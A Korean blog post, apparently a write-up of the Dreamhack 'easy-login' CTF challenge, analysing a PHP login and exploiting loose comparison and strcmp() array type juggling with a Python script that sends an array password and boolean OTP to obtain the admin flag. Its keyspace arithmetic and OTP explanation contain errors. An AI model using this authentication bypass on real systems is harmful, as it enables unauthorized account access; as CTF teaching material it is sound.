드림핵 easy-login 문제 풀이(LV.2)

satoshichingu·2025년 1월 1일

해킹 문제 풀이

목록 보기
15/18

문제 설명

Description
관리자로 로그인하여 플래그를 획득하세요!

플래그 형식은 DH{...} 입니다.

문제 풀이

소스 분석

index.php 분석

generatePassword 함수

패스워드를 생성하는 함수

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

비밀번호의 길이는 32 length이고 문자는 16자(0123456789abcdef)로 구성되어있습니다.
그리고 charactersLength - 1을 해주면 비밀번호는 15의 32승인 경우의 수가 나옵니다.
brute force 공격을 생각했지만 경우의 수를 생각해보니 15의32승 = 43,143,988,327,398,920,000,000,000,000,000,000,000의 경우의 수가 나오네요.
제 컴퓨터는 양자컴퓨터가 아니므로 다른 방법을 찾아봐야겠습니다.

generateOTP함수

OPT를 생성하는 함수

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

0~999999까지 6개의 숫자로 랜덤하게 생성해주는 듯 합니다.
숫자가 6개가 안되면 왼쪽부터 0으로 채워주고 문자열로 변환하고 앞에 'P'를 붙여줍니다.
예) 1552 -> 'P001552'

login 함수

function login() {
// cred 값을 post로 받아오지 못하면 please login을 리턴. 클라이언트쪽에서 cred 값을 서버쪽으로 넘겨줘야 함.
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

// post 값을 받아온 cred를 base64로 디코딩하고 디코딩 실패하면 cred error 출력
    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }
    
/* 로그인 페이지에서 cred 값을 json형식으로 바꾸고 base64로 인코딩해서 서버로 보내줍니다.
해당 소스: $j = json_encode($a);
    echo '<input type="hidden" name="cred" value="' . base64_encode($j) . '">';
이렇게 로그인 페이지에서 데이터를 넘겨주면 서버에서 아래 소스와 같이 json형태의 데이터를 json 디코딩합니다.
순서 정리: 클라이언트에서 cred 데이터를 받아서 json형식으로 변환 -> base64로 인코딩 -> 서버에서 받아서 다시 base64 디코딩
*/
    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

// 로그인에는 id, pw, otp 값이 모두 존재해야 함.
    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

// 아이디가 admin이 아니면 Hello, '$id'를 출력함.
    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
// otp는 서버에서 관리하는 것 같습니다. 서버에 저장된 opt값(글로벌 변수)과 클라이언트 쪽에서 넘기는 otp 값을 비교하는 듯 합니다.
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

// 패스워드를 검증합니다. 패스워드가 맞으면 플래그 값을 출력합니다.
    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

// 조건에 만족하지 않으면 Password fail 출력
    echo "Password fail";
    return;
}

Dockerfile 분석

이 파일을 보면 사용된 php의 버전을 알아낼 수 있습니다.
FROM php:7.3-apache
php 7.3 버전을 사용했고 해당 버전의 취약점을 이용해 로그인을 시도해 보겠습니다.
취약점은!=, strcmp()
취약점 1: !=

  • otp 값이 숫자와 비교될 때, 타입 변환이 발생합니다. 예를 들어, P001552 같은 문자열은 정수로 변환되면 0이 됩니다.

우회 방법: cred['otp']에 정수 1을 입력하면 PHP는 P123456을 0으로 변환하고, 비교는 0 != 0이 되어 OTP 검증을 우회할 수 있습니다.

취약점 2: strcmp()

  • strcmp()는 문자열만 비교하지만, 문자열 외의 값이 들어가면 NULL을 반환합니다. 그 후 !NULL은 TRUE로 평가되어, 조건이 만족되어버립니다.

우회 방법: cred['pw']에 배열을 넣으면 strcmp()는 NULL을 반환하고, !NULL이 TRUE로 평가되어 비밀번호 검증을 우회할 수 있습니다.


위 취약점 분석을 바탕으로 공격 데이터를 예로 작성해 봤습니다.

$_POST['cred'] = base64_encode(json_encode([
    'id' => 'admin',
    'pw' => [],  // 배열을 넣어서 strcmp() 우회
    'otp' => 1          // 1로 설정하여 OTP 우회
]));

공격 코드 작성

import requests
import json
import base64

# 서버 URL
url = 'http://host3.dreamhack.games:10839/'

# 로그인 정보 설정
cred = {
    'id': 'admin',  # admin 계정으로 로그인
    'pw': [],        # 비밀번호: 배열을 넣어 strcmp() 우회
    'otp': True      # OTP: True 값으로 우회
}

# JSON 객체를 문자열로 변환 후 Base64로 인코딩
cred_encoded = base64.b64encode(json.dumps(cred).encode()).decode()

# POST 요청에 사용할 데이터
post_data = {
    'cred': cred_encoded  # Base64 인코딩된 JSON 데이터를 'cred'로 전송
}

# POST 요청 보내기
response = requests.post(url, data=post_data)

# 서버 응답 출력
print(response.text)

파이썬 실행 터미널 로그

python ./test.py 

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" type="text/css" href="style.css">
    <title>Easy Login</title>
</head>
<body>
    <div class="login-container">
        <h2>Login as admin to get flag<h2>
        <form action="login.php" method="post">
            <div class="form-group">
                <label for="id">ID</label>
                <input type="text" name="id"></br>
            </div>
            <div class="form-group">
                <label for="pw">PW</label>
                <input type="text" name="pw"></br>
            </div>
            <div class="form-group">
                <label for="otp">OTP</label>
                <input type="text" name="otp"></br>
            </div>
            <button type="submit" class="button">Login</button>
        </form>
        <div class="message">
            <br />
<b>Warning</b>:  strcmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>51</b><br />
Hello, admin! get the flag: DH{여기에 플러그인 나옴}        </div>
    </div>
</body>
</html>

플러그인 획득!

레벨 2단계라 어렵습니다..

0개의 댓글